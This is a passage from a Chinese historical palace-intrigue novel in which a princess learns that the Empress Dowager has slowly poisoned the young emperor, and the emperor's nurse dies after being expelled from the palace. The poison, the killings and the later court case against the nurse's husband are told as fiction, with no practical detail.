太医来施了针,缓解了萧盈的痛苦,却开不出别的药,宋夫人情急之下就去上阳宫求太后——其实她早该想到为什么。含清宫的人是太尉今天才要换的,但这药萧盈已经吃了很多年,如果这药有问题,只会是谢拂霜。
萧盈伸出手,轻声道:“朕喝就是。”
明绰躲了一下,突然仰起脖子,一口把药全灌了下去。萧盈也不知道哪里来的一股力气,整个人都一扑,把药碗从明绰手中打飞出来。还剩下一点儿来不及喝下去的药随之洒出来,滴落明绰的襟口。
“你在干什么?”萧盈抓着她的手,原本苍白的面色突然泛出一股异样的红,“快吐出来!”
明绰看着他,突然笑了一声,眼泪却迅速地蓄满了眼眶。这就是她要的答案了,如果她好好问,萧盈一定不会说。那个婢女茫然地抬头,不明白发生了什么。
明绰:“去把太医叫过来,就说是我误食了陛下的药。”
那婢女唱了一声诺,下去了。萧盈看着她,脸上的红褪下去,重新变作玉石一般的惨淡。明绰不忍看他的脸,低下了头。眼中摇摇欲坠的泪就这样落下,“啪”地一下砸在了萧盈的手背上。萧盈像被烫了一下,手指神经质地一缩。
明绰的声音如耳语:“你知道多久了?”
萧盈沉默片刻,嗓音还是低哑的,回答她:“三年。”
明绰点了点头,什么都没再问。如果她还要大哭大闹,质问他为何不肯告诉自己,也未免太叫人看轻了。还能是为什么呢?
明绰低下头,把脸贴在了萧盈的掌心。萧盈到底比她大了多少?方千绪一直没机会说得太明白。但要骗过百官,也不会大太多。一岁,两岁,又有多大的分别?三年前,他也不过还是个孩子。
殿外很快又传来了脚步声,太医令几乎是连滚带爬地进来。明绰抬起头,太医令顾不得行礼,告了句罪就来摸明绰的脉。
宋夫人也跟了进来,见状脚下一顿,眼神复杂地看着明绰。明绰与她对视了一眼,抽回了手。
“卞大人这么紧张做什么?”明绰故作无事,“这药皇兄用了这么多年都没事,我喝一碗又能怎么样?”
卞弘脸已皱作一团:“长公主也太贪玩了些,药岂是能乱吃的?”
萧盈亦沉了声音:“东乡,别胡闹。”
明绰不理他,只道:“卞大人开的药没用,东乡只好替皇兄喝了。卞大人还是另开一副有用的来吧!”
卞弘低头行礼,只道:“此药是太后为陛下从西域寻来,珍稀难得,若陛下不用,恐伤了太后的心。”
明绰笑了笑:“什么好药?我竟没有。母后可真是偏心,小心我都偷了喝来!”
卞弘不说话了,垂着眼睛,避着明绰的眼睛。整个寝宫都没人说话,宋夫人和萧盈的眼睛全都在明绰身上。
好一会儿,卞弘才朝明绰行了一礼:“臣为陛下重新开药。”
他匆匆取了笔墨,一张方子写得龙飞凤舞,写完收笔,双手呈上,道:“每日一剂,吃上三个月,应当能缓发作。”
宋夫人接过方子看了一眼,抬头朝着萧盈点了点头。她虽不通医理,但萧盈久病,她伺候多年,对于什么药管用,什么药有害,还是知道个大概。
卞弘还在说:“但此药不能根治,最要紧的还是陛下平心静气,切不可大悲大怒……”但萧盈见宋夫人点了头,已不耐烦听太医叮嘱下面的话,厉声喝断他:“还不给长公主诊脉!”
“我随卞大人去偏殿吧,”明绰没事儿人似的站起来,“皇兄再歇一会儿,我亲自去给你看着药。”
萧盈仰头看她,明绰的手仍被他握着,安慰似的在他掌心一拂,便转身走了。一直走到殿外,她的背都挺得笔直,行动如常,可是一到萧盈看不见的地方,她就突然攥住襟口,疼得僵在原地,靠住了背后的墙,不敢动弹。
原来这就是萧盈这么多年的感觉。明绰咬着下唇,下意识地屏住了呼吸。那疼痛很尖锐,但并不持续,一下一下,随着心跳电流一般从胸口划过去。卞弘跟在她身后,见状全无惊讶,站在廊下就把明绰的袖子捋上去,针刺腕上内关穴。
“好厉害的药啊。”明绰缓过一口气,轻声道,“卞大人是打算自己告诉我,还是等我去朝上揭发你毒害陛下,意图谋逆?”
卞弘低着头,指尖轻轻捻动银针,另一只手扶着明绰,许久都没有说话。他会这么做,自然是有太后的意思,明绰这样的威胁有几分用,连她自己都不确定。可是长公主毕竟还是长公主,被明绰这样目光灼灼地盯着,卞弘的额上已经见了一层汗。
“这里没别人。”明绰小心地控制着自己的呼吸,那疼痛没有这么尖锐了,只是每一次呼吸的时候,还是有些牵扯着胸口闷痛。说话的时候,每个字都不敢出实了声,听起来便气若游丝,人见犹怜。
“卞大人,东乡求你了。”
卞弘手上剧烈地一颤,然后他沉沉地叹出了一口气。
“太后所用穙齐香,出自西域拂菻国,用的是一种叫‘顶勃梨咃’的树,其树无花无果,但叶有异香,断其枝,有黄汁,状如蜜,香气最馥……”
异香。明绰突然想起来,萧盈一直吃的那味药味道非常特别,甚至缠绕在他身上经年不变。药材各有其味,但煎成汤药就都差不多,明绰从未见过其他什么药的味道能这样特别且长久。
“可那不是穙齐香的味道……”
卞弘继续往下说:“取树汁制成香料,便是清心宁神、止痛解乏的良药。取叶入药,则为损心脉的毒药,煎过之后,味道会变。”
又是一道刺痛,游蛇般从她的胸口滑过去。
卞弘搭着她的脉,又添了一根针。明绰低头看着自己的手腕,感到一阵异样的麻木蔓延在指尖,但她已经分不出是因为那碗药,还是因为这些银针,又或是,仅仅是那几个字。
明绰的嗓音沙哑:“怎么解?”
卞弘神色复杂,一时竟未答。明绰看着他的眼睛,突然忍不住猜测,是不是这些年他也背着太后找过解法。
卞弘见她神色,以为她害怕,便换上了劝慰的口吻:“长公主也不必太担心,此药虽性烈,但不会马上要人性命。长公主用得少,略加休养即可,无需特意解毒。只是以后切不可再碰了……”
当然了,明绰苦笑一声。若是一剂就能夺人性命的剧毒,未免做得太明显。她自是心里有数才敢自己喝下去。
“那像皇兄这样已服用了多年的呢?”
卞弘抬起头,看了明绰一眼。惋惜,羞惭,都缠绕在他眼中。为医者伤人,他心亦难忍。可是这世上多的是医者救不了的人,强权如山,山崩石裂,他只能先保自己的命。
“臣无能。”卞弘轻声道,“陛下……已无药可解。”
第23章
萧盈原本注定活不到二十岁,史书上记他一笔,大概会说哀帝早孤,短折,天下憾之。寥寥几字,仅此而已。
可是萧盈不傻。照卞弘所说,其实陛下早几年开始就已经很少吃这药。萧盈毕竟年少,兼练骑射,身子已经康健很多了。连卞弘也一度以为,也许他当真能熬过去。
但心脉的损伤不可逆的,即使毒早已排干净,只要萧盈的情绪有太大的起伏,哪怕没有服药也有发作的风险。每发作一次,就是阎王敲一次钟。如今的情形来看,若他当真能做到忌悲忌喜,忌怒忌嗔,忌惊忌疑,或许也能活到四十岁。可是……
卞弘没有往下说,但明绰已经听明白了。外戚擅权,太后称制,萧盈夹在其间,没有一日不是活在惊疑和恐惧之中。
可是他明明已经做得很好了。长沙王杀到眼前的时候,多少宗亲一把年纪了还是吓得屁滚尿流,萧盈却始终面不改色。明绰以前就觉得皇兄那套“静气”的功夫不同一般,有的时候甚至有些讨人厌,因为她总是不知道皇兄在想什么。她还一直以为萧盈是天性如此。
“卞大人跟皇兄说过吗?”明绰最后问卞弘,“他最多能活到四十岁?”
“臣岂敢。”
“好。”明绰自己把手腕上的针拔了下来,“一个字都不许说。今日之事,也不许向母后提起。”
卞弘本想制止她的动作,但针已递过来,他也只好双手接过,躬身道:“臣明白。”
太医令坚持要公主卧床休息,但是明绰没听他的。说了亲自替陛下看药,便当真去了膳房。煎那新药的是宋夫人,明绰看着她每一味药都细细检查,连熬药的瓦罐都要用草木灰亲手洗过两遍才肯用,便猜三年前发现这药不对的一定是她。
宋夫人不置可否,去给明绰多端了一张矮凳来,让她坐下。然后又觉得不太放心,找了软垫来垫在明绰身后,让她能半靠在灶台边上,舒服一些。伺候完了,才淡淡地回答了一句:“是陛下自己。”
她抬起头看着明绰:“长公主可还记得,三年前因西域有战乱,太后宫里的穙齐香断过一阵?”
明绰点了点头,她记得这件事。
宋夫人垂下眼:“陛下一心孝顺太后,曾偷偷去民间征过。”
因太后喜欢,西域的各色熏香在建康很流行。天子派人去找,还真找着一些积年的存货。有个富商手头甚至有顶勃梨咃的活苗,听说献进宫里,连钱都不要,殷勤得很。还特意强调,这几棵苗他嫁接过,才在建康养得活。叶虽小些,但毒性去了,比西域的还要好……
萧盈这才知道,那叶子本来是有毒的。
明绰默然,不知道该说什么好。
宋夫人用火钳子拨了拨火,让炉子烧得更旺些,继续往下说。仅仅是知道叶子有毒,萧盈还想不到自己身上。他是担心太后对穙齐香太过依赖,若有毒性,要伤了身子,便从太医令那里要了各种讲药理的书来看。就是这个举动,引起了太后的警觉。当时替陛下整理医书、借来送往的是太医令的弟子,一个眉毛下撇、一脸苦相的太医署小吏。然后有一天,这个苦相的小吏突然失踪了,萧盈问了一句,太医令只说,他去民巷调查时疫,不幸染上,病殁了。
不久之后,萧盈发现那小吏还遗漏了一本书在含清宫。他从书里找到了一张夹带的书页,上面画了顶勃梨咃的叶子,写了入药的医理,写了那股异香,还写了服用之后对心脉的损伤。
那天萧盈没有服药,但他半夜发作,浑身剧颤,冷汗不止,还要挣扎着在太医令来之前烧掉那页
纸。
明绰静静地听着,一句话也没说。宋夫人提到的这些事,她一点儿印象也没有。什么突然消失的太医署小吏,什么夜半的急病,她竟然一丁点儿都没有察觉。那个时候她每日都会来含清宫的,可是萧盈一点儿都没表现出来,他的痛苦没泄露给她,也没泄露给太尉。只有到此时,宋夫人讲到这个份上了,明绰才想起来,就是从那以后,皇兄再也没有问过她有关母后的任何事。
“所以他……”明绰哽了一下,几乎说不成话,“他本来是没有这个病的?”
宋夫人微微侧过脸,掩饰过垂下的一滴泪,点了点头道:“有。”
萧盈第一次犯病是在迁宫后不久,某一日大朝会之前,突然痛得起不来了。但宋夫人很快就发现,萧盈平日都是好好的,唯独要大朝会了才痛,便猜是小孩子被吓着了。太医署好几个太医一同会诊,最后也就说是“肝气不顺”而已。
那时萧盈逢朝会就容易犯病,太后倒也没说什么,若他起不来,就把公主扮起来带去太极殿,就这样相安无事了几年。直到有一天,上阳宫突然送来了那味治心痛的药。
那时候萧盈还小,他说不明白到底是因为心痛才要吃药,还是吃了药才会心痛,更分不清这痛有什么差别,只知道难受便吃药,如此循环往复,生生成了一个药罐子。
“自从三年前知道真相以后,陛下就不用这药了。”宋夫人看着火,声音有些遥远,像在给明绰讲故事,“没多久就让人发觉,陛下的身子好多了。从此上阳宫就把药煎好了送来……”
明绰的手指突然不受控地抽了一下。
宋夫人:“若是寻常宫人送来,我还有机会把药换了,但若是有什么要紧的事情,太后绝对不许陛下去,就会让灵芝来送。”
灵芝是一定会看着陛下把药喝下去的。
宋夫人说到这里停了,药已在罐中“咕噜咕噜”地滚开,一时之间,整个膳房只听得到柴火爆裂的“噼啪”和汤药翻滚的声音,空气里满是浓郁的药味。
“那皇兄今日为何突然犯了病?”明绰问她,“谁这么大的胆子,把他的寝宫糟蹋成那样?”
宋夫人没答这个,好一会儿,突然一撩裙角,在明绰面前跪了下来。明绰一惊,慌忙站起扶她:“姊姊这是……?”
“长公主,”宋夫人顺势攀住了她的手臂,仰起脸急切地看着她,“陛下一直把你当成亲妹妹,算是知道了太后……他从来没有一刻迁怒你呀!”
明绰急道:“我知道,你先起来……”
“长公主!”宋夫人一把摁住她,眼泪汹涌地在她脸上流淌,她也顾不得擦,“太尉独断却不残忍,他对陛下有舐犊之情,陛下尚可一争——太后!太后才是当真狠辣……”
她一时噎住,突然重重地在地上磕了一个头。明绰下意识往后一退,踢翻了身后的矮凳。窗外突然快速的闪过了几个人影——
“到那一天,”宋夫人压低声音,“求长公主念在这么多年兄妹之情,救救他!”
明绰:“我……”
膳房的门突然被推开,两个城门校尉打扮的人闯了进来,见到明绰也在,匆匆地给她行了个礼,便一左一右地把宋夫人从地上拉了起来。
“夫人,”他们的态度还算客气,“可以走了吧?”
明绰下意识地上去拉住宋夫人,戒备地看着他们:“你们做什么?谁让你们来的?你们要带姊姊去哪里?”
“长公主莫怪,”左边那个校尉回道,“臣是奉了太尉之命……”
“不行!”明绰更紧地拽住了宋夫人的手臂,声音绷得变了调,“你们去回太父,就说是我的意思,我不许!”
“长公主……”宋夫人落了泪,低低的唤了她一声,小声安慰道,“没关系,别……”
那两个校尉对视了一眼,显然没把东乡公主的话放在眼里,一人微微一用力,就把宋夫人从明绰手里拉了过去。另一人随即往前一站,用身体拦住明绰,行了一礼,道:“长公主,宋氏伪造虎符,矫诏圣意,本是杀头的罪。太尉念在她抚养陛下有功,已经法外开恩。臣等只是将她遣回原籍,并不想对她怎样,她丈夫已在宫门外等一天了,还望长公主不要让臣等难做……”
明绰哪里肯听,可是那校尉身材高大,往她面前一挡,竟把大半的视线都遮住了。明绰急得左右突围,都越不过他去。说到后来,那校尉没忍住伸手在明绰手臂上拽了一下,明绰突然厉声一叫:“你敢碰我?!”
那校尉赶紧松手,连退两步:“臣不敢!”
“你给我让开!”
校尉还是那句话:“臣不敢!”
另一人拽着宋夫人,听声音已经出了膳房。宋夫人并不挣扎,只是急道:“长公主,没事的,你回去吧!”
明绰急得不知如何是好,环视了一圈,突然抄起路边的烧火钳,双手握住,像柄剑似的挥了两下。烧火钳在空中甩出火星子,把那校尉逼得一路退到了门外。
“放手!”明绰擎着烧火钳就要打那个抓人的校尉,“我要去告诉皇兄!你们不怕皇兄治你们的罪吗!”
“长公主!”宋夫人一下子扑上来,摁住了她的手,“没事的!太尉已经开恩了,不会把我怎么样!陛下已经歇下了,我们不要再惊动他,好不好?”她放软了声音,从明绰手中抢过了烧火钳,“当啷”一声丢在地上,然后抬起手,替明绰拢了拢鬓角乱掉的头发。她努力想笑一笑,可是嘴角扭曲着,笑不出来,只是叫她,“溦溦,记住姊姊的话。”
明绰愣在原地,眼泪断线珠子似的往下落,看着宋夫人擦了擦脸,整了整刚才扯乱的衣服,主动走回了那两个校尉身边:“走吧。”
她就这样顺着回廊走远了。药罐里的汤药已经滚得扑了出来,浇灭了火。焦糊味从窗户飘出来,明绰喘了两口气,感觉喘不上来气似的,抓住了自己的襟口。
皇兄说过,“不要让他们带走她”。
明绰转过身,一溜烟地跑回了主殿。萧盈睡得不深,明绰只推了他一下,他就醒了,只听了两个字,他就明白发生了什么,一下子从床上翻身起来。
守在寝宫外面的婢女惊讶地看着萧盈只着中衣,披头散发,草草套着鞋就奔了出来:“陛下?!”
明绰用力把她一推:“让开!”
萧盈没有停下来,但他把手伸到了身后,等着明绰握住他的,然后他们手拉着手,飞快地从含清宫漫长的阶梯上跑了下去。
第24章
宫城分内外两门,承天门居内,司马门居外。
承天门所有值守的校尉都已经被惊动起来,但宫城有宵禁制度,就连皇帝本人在宵禁后出门,也得提前传旨。眼下无诏无令,守门将们跪了一地,就是没有敢开门的。
“你们!”明绰替萧盈气急,“那方才为何放行!”
那守门将还想装傻:“长公主说的是何人?”
“你别装傻!”明绰指着他,气得脸都涨红了,“我们叫那么大声让你留人,你还只当没听见!”
“臣确实什么都没有听见,”守门将假装想了想,“今夜只有两名城门校尉的弟兄奉命出入,手中符节都验过无误,合规矩的……”
“什么规矩?”明绰打断他,“哪门子的规矩教你连陛下都敢拦!”
守门将虽跪在地下,却没有被长公主的声色俱厉吓到的意思:“陛下若有旨意,臣自是不敢拦。”
明绰简直被他气个仰倒。皇帝要下正式的旨意,就得层层地一道一道往下传,还要被记录在册。说白了,就是小皇帝说话没用,这守门将只认太尉。他隶属殿中宿卫,只是分在执金吾卫下面的一个小营,也敢这么明目张胆地在皇帝面前说这种话。
守门将见她气急,又抬头说
了一句:“要么,长公主可有太后的符节?”
萧盈终于开了口:“太后的符节,比朕亲临还要大么?”
守门将低下头:“臣不敢。”
萧盈有一会儿没说话,明绰担忧地看了他一眼。他脸上还带着方才狂奔而来的血色,在火把的映照下,显得整个人终于有了几分血色。但是身上太单薄,夜风一吹,唯有披散的长发飘摇。
然后萧盈抬了抬手,示意守门将起身。他站了起来,萧盈又动动手指,示意他上前来。守门将不明所以,但还是上前一步:“陛下……?”
他话音未落,萧盈已抽|出了他腰间的佩剑。明绰只看到寒光一闪,下意识地闭紧了眼睛,但也没有阻止得了利器刺入皮肉的声音,守门将已被萧盈一剑穿胸,剑尖极巧地从胸甲下方挑入,从肩上透出。那守门将睁大了眼睛,一时竟未发出声音,两只手紧紧地攀住了萧盈的肩膀,然后无力地跪下去。萧盈抬起脚,在他肩膀上一蹬,借力把剑拔了出来。一串血随之猛溅出,染了他一身。那人在原地晃了晃,这才“咚”地一声,斜着倒在了地上。
萧盈缓缓地举起了剑,对准了余下的殿中宿卫,血沿着剑尖滴下来。
“开门。”
没人敢说话。所有人都屏住了呼吸,月下静到明绰几乎能听清血从尸体上流出来,浸入土地的声音。然后有个人第一个站了起来,二话不说就去推门。其余人这才反应过来,纷纷将火把扔在地上,上前帮忙。
沉重的木门被推开了一条缝,明绰还愣愣地看着倒在地上的尸体,萧盈已经一把抓住了她的手。明绰感到手心带着粘稠的温热,一低头才发现萧盈握着她的那只手满是鲜血。
“你叫什么名字?”萧盈问那第一个站起来去开门的人。
那守卫立刻低头报上了姓名。
“好,”萧盈点点头,“你就是承天门的守门将了。”
他说完拉着明绰穿过了承天门,明绰险些被他拽得一个趔趄。她腿没有萧盈长,只能一直落在他身后跑。眼前只有萧盈被夜风吹起的长发,飘在脑后,一根一根,缠紧了明绰的心。
皇兄竟然……就这样杀了承天门的守门将。历来杀宫门守将,都只有宫变一个目的。太父会怎么想?更重要的是,母后会怎么想?
可是她来不及思考要怎么办,只有跟着萧盈不停地跑。从承天门到司马门只有一道狭长的甬|道相接,两门皆筑巍峨宫墙,明绰喘息着抬起头,只看见四四方方都是高高的宫墙,他们好像被困在里面,无论怎么狂奔都找不到出口。然后她的视线突然定住了。
“皇兄!”明绰停下来,拉住了萧盈,指着司马门高处的那个人影。宫墙上只有有人值守的地方才悬了灯,那人站在暗处,只有一片薄薄的影子。“那是……?”
“阿娘……”明绰听见萧盈突然叹息似的叫了一声,很轻,只有她能听见。下一刻,那片影子就像落叶似的,突然从宫墙的雉堞处翻了下来,完全没入了黑暗中。
在那短短的一瞬间里,没有人意识到发生了什么。那人翻下来的地方就在司马门上面,可他们还来不及跑过去。那一声沉闷的“咚”也像是隔了许久才传到了他们的耳朵里。
明绰只感到手上一沉,她马上把萧盈的一条手臂环到自己的肩膀上,可是萧盈就像一瞬间被抽走了全身的骨头,直往下倒。明绰只好抱住他的腰,用尽了全身的力气撑住他。
“皇兄……”
萧盈没应,手指无意识地蜷缩起来,攥住了明绰的衣角,用力到几乎把细软的布料撕碎。唯独他的心跳是有声音的,每一下都像是战鼓,恨不得锤破他孱弱的胸腔。
“阿娘!”他的声音凄厉地刺破了长夜,如鸣铮,如裂帛,在宫墙之间不断回荡,反而听不清他到底叫了什么。
明绰更紧地抱住他,试图阻止他扑上去:“皇兄!”
两道门的所有人都动了起来,火把在黑暗中流动,远远看去,像池中一尾一尾鱼游向刚抛入水中的饵料。
最先到的校尉已经认出了摔下来的人:“是宋夫人!”
“快去叫太医!”
“好像没气了……”
“别胡说!”
“陛下就在此地……”
萧盈挣开明绰,跌跌撞撞地朝司马门奔去。围在尸体旁边的人全都自觉地让开了一条路,萧盈手中的长剑“当啷”一声抛在地上,双膝一软,跪在了尸体前。
明绰也看清了躺在地上的人。那么多的火光悬在她的上方,随着人的移动闪着明明灭灭的光,看起来她好像还是活的,还会眨眼,还会说话。可是那么多的血涌出来,浸透了她身下的一片地。
萧盈很小声地重复着:“不不不不不……”然后轻轻地伸出手,托着她的脖子,想把她扶起来,但宋夫人的脖子却以一个诡异的角度弯折过来。更多的血因此从她的口鼻和眼角流出来,萧盈吓得一松手,听到沉重而怪异的一声响。好像面前的女人只剩下一个皮囊,里面所有的骨头和血肉都已经砸成了泥。
那个去含清宫带人的校尉也围在人群中,突然膝行了两步上前:“陛下!臣不知道夫人会……臣……”
萧盈好像没有听见,他重新把宋夫人的头抱进自己怀里,用脸贴着她的额头,轻轻地左右摇晃。他的脸上一滴眼泪都没有,只有血,分不清是刚才杀人的血,还是宋夫人的血。
“她的丈夫说好了会在门外接人的,可是臣等出来就就就就……”另一个校尉也跪在旁边解释,急得都结巴了,“我们只是出去寻了寻她丈夫,让她在城门等一会儿,谁知她爬上去……”
明绰也跪下来,小心地凑到了萧盈身边,不敢碰他,只能牵住他一片衣角,哭着叫他:“皇兄……”
“陛下明鉴!臣绝不敢!”那两个校尉接二连三地磕头,“臣等只是奉了太尉之命……”
“杀了他们。”萧盈突然轻声说。
好像没人听见似的,大家都愣在那里。
“杀了他们。”萧盈又说了一遍,“杀了他们!”
“陛下饶命!”
“是太尉之命,臣等只是——”
但是他们都没有机会把话说完。方才在承天门已经见识过萧盈手刃守门将的人二话不说便提剑上前,干净利落地抹了两个校尉的脖子。
“传朕的旨意,召桓湛入宫。”萧盈继续下令,气若游丝,提不起来什么力气,“你们谁要是想去告诉太尉的,尽可以去。”
一片稀稀拉拉的“不敢”。
萧盈还是抱着宋夫人的尸体,用无所谓的语气又补了一句:“想去告诉太后,也可以。”
这下连“不敢”都没人说了。明绰跪在一边,看见萧盈转过脸来,突然对着她笑了一下。他的眼泪此时才落下,冲开了脸上的血迹,沿着下颌滴落下来,滴在宋夫人已经没有了生气的脸上。
明绰以为他要对自己说什么,但他只有沉默,俯身想抱起宋夫人的尸首。可是太重了,他被那重量带得整个人都要摔下去,可是却不愿放开手。有人搭了把手,萧盈站直了身体,避了一下,自己把宋夫人抱稳,然后转身顺着甬|道往回走。鲜血顺着他的脚步流出一条蛇行般的痕迹,蜿蜒着重新伸进了黑夜中。
不到一个时辰,中书令闻讯入宫,但是遇到了全副武装的桓湛。他带了一小队人马,守住了含清宫。上阳宫早已得了信儿,太后下诏,传谢维入宫。但桓湛不服上峰,硬是顶住压力坚守含清宫,一直对峙到天亮,尚书令终于带着百官到了。
太尉治罪,说的是宋氏“伪造虎符、矫传圣意”,但又不过公堂,只是暗中把她赶出宫去。如今萧盈偏不要此事暗过,今日本来并非朝会,但重臣齐聚含清宫,干脆就当朝会开。桓
湛出来作证,长沙王之乱时,执金吾卫拿到的就是真虎符,听的就是真圣旨。他的分量不够,还把已经赋闲在家的崔挺也召来。反倒是太尉,还是说病着,来不了。
其实此事没有任何辩的余地,所有人都很清楚到底怎么回事。太尉要拔掉陛下身边的亲信,故意找了一个由头罢了。至于到底是太尉把人逼死的,还是宋夫人自己想不开,如今都已经不重要了。陛下尚在病中,在群臣面前哭得哀哀戚戚,声泪俱下地讲宋氏这么多年如何抚养侍奉,甚至两度哀痛到晕厥,被群臣劝过来,就扯着尚书令的袖子说,“德不配位,朕愿为诏,逊位于谢公!”
闹到这份上,也实在叫人看着怪不落忍的。重臣们也不全是铁石心肠之人,虽不敢跟谢家对抗,但谢郯人都没来,嘀咕两句“太尉实在太过分,眼中半点没有陛下”的胆量还是有的。谢郯当日就上了一封奏疏请罪,但天子也没有得寸进尺,称病不批。最后是太后站出来下诏,以宋氏抚育天子之功,封保太夫人,算是安抚了天子。
明绰原本以为,那两个校尉说宋夫人有丈夫来接是胡诌的,宋夫人一定是在宫外无依无靠,又不愿萧盈为了自己和太尉再起冲突,这才寻了死路。没想到太后说要封赏了,她那丈夫还真来讨赏了。明绰没去瞧,听梁芸姑回来说起,还没说上两句,就先恶狠狠地啐了一口。
据说宋氏的丈夫姓程,因生了一副好皮相,是个远近闻名的浪荡儿。大雍律法是不允许通奸的,他却在同一年内就两次因勾搭良家女子被人告官。打也打了,关也关了,当年宋夫人散尽家财才把他从牢里赎出来,他倒好,转手就把襁褓里的亲儿子卖了,扭头接着吃花酒去。宋夫人进宫这么多年,他从不在意,只当妻子死了,早已另娶再生。如今宋夫人被封了保太夫人,他竟然腆着脸皮来问太后,是不是这么算来,他也是皇帝的老子了。
“凭这句话,太后原该把人拖下去,打死不论!”梁芸姑犹自愤愤,“宋夫人也是可怜,我若是嫁了这样的人,我也宁可从城楼上跳下去!”
明绰皱起眉:“母后没杀他吗?”
梁芸姑脸色突然变了变,有些懊悔说了这样的话。听说那天晚上陛下亲手杀人,东乡公主就在旁边。梁芸姑总觉得,公主也有些不同了。
“不知者无罪。黔首不懂规矩,只是说错一句话,打出去就是,哪能真杀了?”梁芸姑温声道,“传出去,要说太后酷厉,会失民心的。”
明绰闻言便冷笑一声,当年为了一支歌谣杀了多少人?不久前谢维为了抓李姬又杀多少人?到这件事上,太后倒是担心起酷厉的名声了。
不过,太后这一次的态度很微妙。陛下反抗得如此激烈,因是冲着太尉去的,太后却反而不像从前那般往死了压。对于宋夫人,太后好像也有一些怜悯之意。那泼皮丈夫一走,太后就给京兆尹传了旨。
“他原配尚在,就敢另行婚配,已是犯了国法。”梁芸姑安抚道,“京兆尹自会去东长巷查个清楚。”
明绰眉间突然一跳:“东长巷?”
“是啊,”梁芸姑也是一叹,“也是没有想到,那宋夫人进宫前原来就住东长巷尾……这不就跟太尉府隔了一道后门嘛!”
第25章
东长巷程郎一案很快就成了整个建康的谈资,因那程郎不知死活,进宫一趟回来后,在邻里四处声扬他算是皇帝的“保父”——这词都是他自己胡诌出来的。京兆尹还不及治他多娶违礼之罪,先抓去打了一顿板子,好好教老实了,才重新审过。
过堂那天,明绰也着男装出宫去瞧。去得稍迟了一些,衙外已经挤满了来看热闹的百姓。有好事的见这小郎君粉面娥眉,一看就是哪家千金扮的男装,搭话都更热切些。见她身量矮瞧不着,便把堂内审到哪一步都细细讲来。
那程郎先是不肯认同时娶了两位正妻的罪过,声称早已将宋氏休弃。京兆尹便不许他领皇家赐给宋氏的赏,他这便急了,又说后一个妻子只是妾。那女子亦是良家出身,岂肯突然被打做妾,叫来了娘家兄弟在公堂上闹,说当初媒人讲的是“丧妻续弦”,谁知宋氏还活着?便又要告程郎“诈娶”之罪。两头争执不下,京兆尹又传了东长巷的里长和街坊来作证。那程郎声名狼藉,里长往堂下一跪,就把他当年如何把亲儿卖给僧人,原配宋氏又是如何为了将儿子赎回而自卖为奴,最后进宫当了乳母等事一一说来,百姓们听得都是义愤填膺,纷纷叫骂。
此案再无异议,京兆尹判了杖刑,兼不许程郎染指宋氏的封赏,另派人去宋氏的家乡寻亲。至于他如今的妻子,也判了婚事作废,准其携子回娘家,程郎终身不得再娶。
判完,百姓们轰天叫好,明绰被挤在人堆里跟着看程郎被打板子。当众行杖刑本就有羞辱之意,京兆尹还命人扒去了程郎的裤子。百姓们越发兴奋,恨不得踏破门槛。就在明绰感觉自己要被挤得双脚离地的时候,有只手突然从边上伸过来,一把拽住了她的手臂。
明绰转回头,吓了一跳:“桓湛?”
“小姐,”桓湛有意换了称呼,“得罪了。”
他揽住了明绰的肩膀,护着她,另一只手用力拨开人群。百姓们让他推来搡去的,回过头来刚要相骂,见他衣饰华丽,腰间还配了剑,也就不敢开口,都识相地让出一条路。
明绰大为不高兴:“我还要看杖刑呢……放开!”
桓湛也不理睬,只顾拽着她猛走。出了衙门又拐进小巷里,明绰挣扎无果,简直像个小鸡仔似的被他提着,正要跟他拼了,却见小巷尽头站了一个瘦长的身影,正等着他们。
桓湛把人放开,行了个礼:“陛下。”
萧盈转过来,抬抬手示意他不必多礼。明绰没想到萧盈会出宫,刚才攒起来的满腔火一下子哑了,愣愣地站在他面前,竟也不知道说什么。
那天在含清宫的“大朝会”,明绰也亲眼看着了,天子的痛哭和晕厥都不是装出来的。群臣散去以后,他的病就发作得更凶,到了晚上,烧得浑身滚烫,却怎么也不肯换下身上的血衣。含清宫里都是生面孔,萧盈简直像发了癔症,除了明绰谁都不许近身。明绰在他床边守了整整两个晚上,逼得太后亲自摆驾含清宫,东乡公主还是不肯回去。最后太后只能下令,把含清宫里这些陌生人全都赶回去,命原先的人回来——好在他们跟宋夫人一样,只是被太尉遣回原籍,并未出什么事。明绰这才放心跟着母亲回了上阳宫。
只是从那以后,谢拂霜就再也没有允许她去过含清宫。
皇兄又瘦了。今年在校场里好不容易练出来的一点肉,一场病,又瘦得皮挂骨。
萧盈皱着眉,浑然不知明绰心里在怜香惜玉些什么东西,只道:“你怎么一个人出的宫?”语气十足像个兄长。
明绰撇撇嘴,觉得他明知故问。还能是什么?当然是她偷偷跑出来的呗!
“我说怎么判得这么利索,”明绰也道,“原来是有尊大佛亲自下了凡了。”
想来京兆尹只恐判得不够狠,转头就要丢自己的官帽。
萧盈没说什么,转身走动起来。明绰也不知道他要去哪儿,下意识地跟了上去,萧盈不说,明绰也不好问,只能一直跟着,桓湛就不远不近的缀在他们身后二十步的地方。直到走着走着像是进了民巷,但每户人家看起来都很阔绰,有一大片墙都是一户人家的,一看就是哪个世家望族。明绰打量了半天,终于认出来了,这不正是太尉府的后院么?这头的民巷一大半都是姓谢的住着,越往里
走,才是普通人家。路尽头拐个弯,就到东长巷了。
“你可看清那程郎?”萧盈突然问她。
明绰摇了摇头。她真没看清,一方面是因为百姓们人挤人,她个头不够高。另一方面是因为程郎一直跪在那儿面朝堂上,她偶尔探出头来,只看见一个后脑勺。
萧盈放慢步子,突然道:“太后没跟你说吗?他跟朕长得很像。”
完了。明绰心里咯噔一下。
程郎跟皇帝长得像不像,谢拂霜倒是没说,可能她确实没看出来。明绰倒是用不着看,心里就已经知道八|九不离十了。宋夫人跳下来那一刻,萧盈情不自禁地唤了一声“阿娘”。明绰曾经想过,也许只是因为萧盈心里不再认谢拂霜为母,所以宁可将乳母当做生母称呼。可是方千绪留下的那张字条打破了她一切的自欺欺人,这样说起来,程郎把儿子卖给僧人也就讲得通了——虽然那时方千绪已经还俗,但他就住在太尉府,知道东长巷里这有名的泼皮手中缺钱,他随便找个僧人出面,诱人把儿子卖了,不是什么难事。
萧盈又道:“僧人买奴成风,果然已成一患。”
明绰正琢磨怎么安慰他,突然听到这句,一下子没跟上:“啊?”
萧盈:“本朝尊佛,僧人不必纳税,天下寺院广占田地,不加节制。朕记得典农中郎将曾上书,说建康已有两成的耕田都让佛寺占了。百姓失田,没了生计,只好卖身给僧人为奴为婢。刚才在堂上,里长提到程郎把儿子卖给和尚,你看百姓们的反应……想来此事在民间司空见惯,百姓们苦之久矣,也不知道有多少人口已经沦为寺庙的私产了。”
